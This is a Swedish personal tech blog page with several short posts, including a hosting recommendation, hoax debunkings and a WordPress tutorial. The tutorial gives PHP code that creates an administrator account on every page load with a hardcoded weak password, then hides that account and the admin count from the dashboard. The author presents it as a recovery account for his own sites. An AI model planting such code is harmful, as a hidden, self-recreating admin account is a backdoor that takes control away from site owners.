Nu är det dags igen!

Ibland kommer livet ifatt och man får lite annat som är viktigare än att uppdatera en webbsida men nu är det dags att ändra det. Jag kommer att börja skriva igen men först ska jag rensa bort lite gamla inlägg som inte längre är relevanta.

En av mina nyheter är att jag blivit ombedd att skriva lite mer avancerade guider som innehåller information om t.ex.

  • Powershell
  • Microsoft Intune
  • Active Directory
  • etc…

Dessa kommer dock att skrivas på engelska men sorteras ut för bästa resultat. En hel del kommer även att att hamna på en annan webbsida som jag just nu håller på att bygga, men om det kommer lite senare.

Så, välkomna tillbaka hit.

Billigt, snabbt och bra webbhotell

Jag har hoppat runt mellan olika webbhotell, jag har provat dyra och jag har provat billiga och framförallt har jag letat efter något där jag kan testa saker, både med Linux och Windows (jag är ju trots allt en Windows-gosse i grunden).

Jag hade egentligen inte så stora krav men jag ville inte ha en Windowsserver med PHP installerat på, jag var ute efter en Linux-server och en WIndows-server. Alla vet att Windowsutrymmen kan dra iväg i pris med lite otur. Tills jag hittade Interserver.net. Nej, jag är inte sponsrad av dem i detta inlägg utan detta skriver jag helt utan deras vetskap.

Interserver.net är baserat i USA och har både ”Shared hosting” och VPS, de har VPS från $6 per månad och webbhotell från $5 per månad. I webbhotellet, oavsett Windows eller Linux, är det obegränsat utrymme, obegränsat med databaser och ingen spärr för trafikmängd.

De har en VPS speciellt utvecklad för WordPress med 2GB Ram, 2TB transfer och 25GB SSD, detta för $6 per månad.

De har heller inga uppsägningstider så testa och se om jag har rätt.

Lycka till!

Skapa en dold administratör i WordPress

Jag har på några av mina WordPress-sidor haft ett behov av ett extra administratörskonto, ett konto som inte syns. Anledningen till detta är många, till exempel vill jag ha en som alltid skapas när jag lägger upp en ny sida, ett konto som ser till att jag alltid kan logga in även om min användare råkas tas bort.

Jag kommer att utgå från ett ”Child-tema” och lägga detta i funktionsfilen där, men du kan naturligtvis skapa en egen fil med informationen i som du sedan anropar för att få tillgång till användaren. Personligen gillar jag att ha det i just ett child-tema eftersom jag kan få in lite fler funktioner. (Om du inte vet hur man skapar ett Child-tema kan du läsa här.)

Vi börjar med att öppna filen ”functions.php” i child-temat, och lägger till följande funktion:

add_action( 'init', function () {
	$username = 'dold_admin';
	$password = 'P@ssword123';
	$email_address = 'dold_admin@mindoman.se';
	if ( ! username_exists( $username ) ) {
		$user_id = wp_create_user( $username, $password, $email_address );
		$user = new WP_User( $user_id );
		$user->set_role( 'administrator' );
	}
} );

Ändra användarnamn, lösenord och e-postadress till det du vill ha.

Nu har vi skapat ett funktion som lägger till en användare och du kan nu spara filen till din FTP och logga in med de inställningar du valt.

Nu ska vi hindra att någon tar bort användaren du skapat. (Den skapas igen om den tas bort men det är bättre att vi ser till att ingen tar bort den från början.) Så ni väljer att gömma användaren. Lägg till följande kod i ”funtions.php”:

add_action('pre_user_query','yoursite_pre_user_query');

function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;
 
  if ($username == 'dold_admin') { 
     // Här kan du lägga till kod som ska hända när du är inloggad med din dolda användare
  }
  else {
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'dold_admin'",$user_search->query_where);
  }
}

Se till att du ändrar ”dold_admin” till det du valde i den tidigare koden (spara ner namnet i en variabel för att slippa ändra på fler ställen om du vill byta namn). Om du nu tittar på användare ser du bara en, men det finns ett problem, man ser att det faktiskt finns två:

Det står klart och tydligt ”Administratör (2)”, trots att det bara finns en i listan, det måste vi ta bort.

För att gömma antalet användare klistrar du in nedan kod i ”functions.php”:

add_action('admin_head','hide_user_count');

function hide_user_count(){
?>
  <style>
    .wp-admin.users-php span.count {display: none;}
  </style>
<?php
}

Spara filen, titta i ”Användare” så ser du att det nu står ”Administratör” istället för ”Administratör (2)”.

Hoppas ni har nytta av detta, lycka till!

Ny sida

Nu är den på gång igen!

Jag håller på att bygga upp denna sida på nytt, det finns fler anledningar till det men den största är byte av server samt att många av mina inlägg blivit så pass gamla att de inte längre gäller.

Jag kommer att flytta över de som fortfarande är aktuella och uppdatera flera av de som behövs.

Arbetet med detta kommer att vara klart inom kort och fram till jag är klar med det hittar ni min gamla sida på https://danielwiberg.se

Jag kommer fortfarande att ha lite olika inriktningar på bloggen:

  • Teknik
  • Programmering
  • Personligt

Jag har även bytt logo till sidan då jag faktiskt blivit en ”Old, Bald Geek”.

Välkommen tillbaka.

Skapa ett säkert prov med Safe Exam Browser

Om du arbetar som lärare ställs du ofta inför problemet att du vill skapa ett prov till dina elever, helst ska det vara digitalt så att de kan använda sina datorer, men du vill ju inte att Google ska användas för att hitta de rätta svaren, här visar jag hur man gör.

5 fredagar, 5 lördagar och 5 söndagar

Detta skrev jag om redan för några år sedan, tror det var 2014 men är inte säker, detta är även det ett ”Hoax” som flyter runt och bara vägrar att dö. Läs mer

Polisen varnar för lappar på bakrutan

Nu ser jag det igen, det var några ås sedan sist. Polisen varnar för ett brott som går ut på att det sitter en lapp i bakrutan på din bil, du går ut och tar bort den, under tiden du gör det stjäl någon din bil. Läs mer

Allt på din Facebook kan bli offentligt imorgon

Nu händer det igen, jag ser mängder av inlägg på Facebook som uppmanar till att man ska kopiera och klistra in en specifik status för att inte vem som helst ska kunna använda sig av dina inlägg och bilder. Här kommer en förklaring till detta. Läs mer

Fakturera utan företag

Jag hamnade i en situation där jag behövde skicka en faktura till en gammal kund. Eftersom jag valt att inte driva vissa saker under ett eget företag visste jag inte riktigt hur jag skulle gå tillväga. Det var mycket enklare än jag räknat med. Läs mer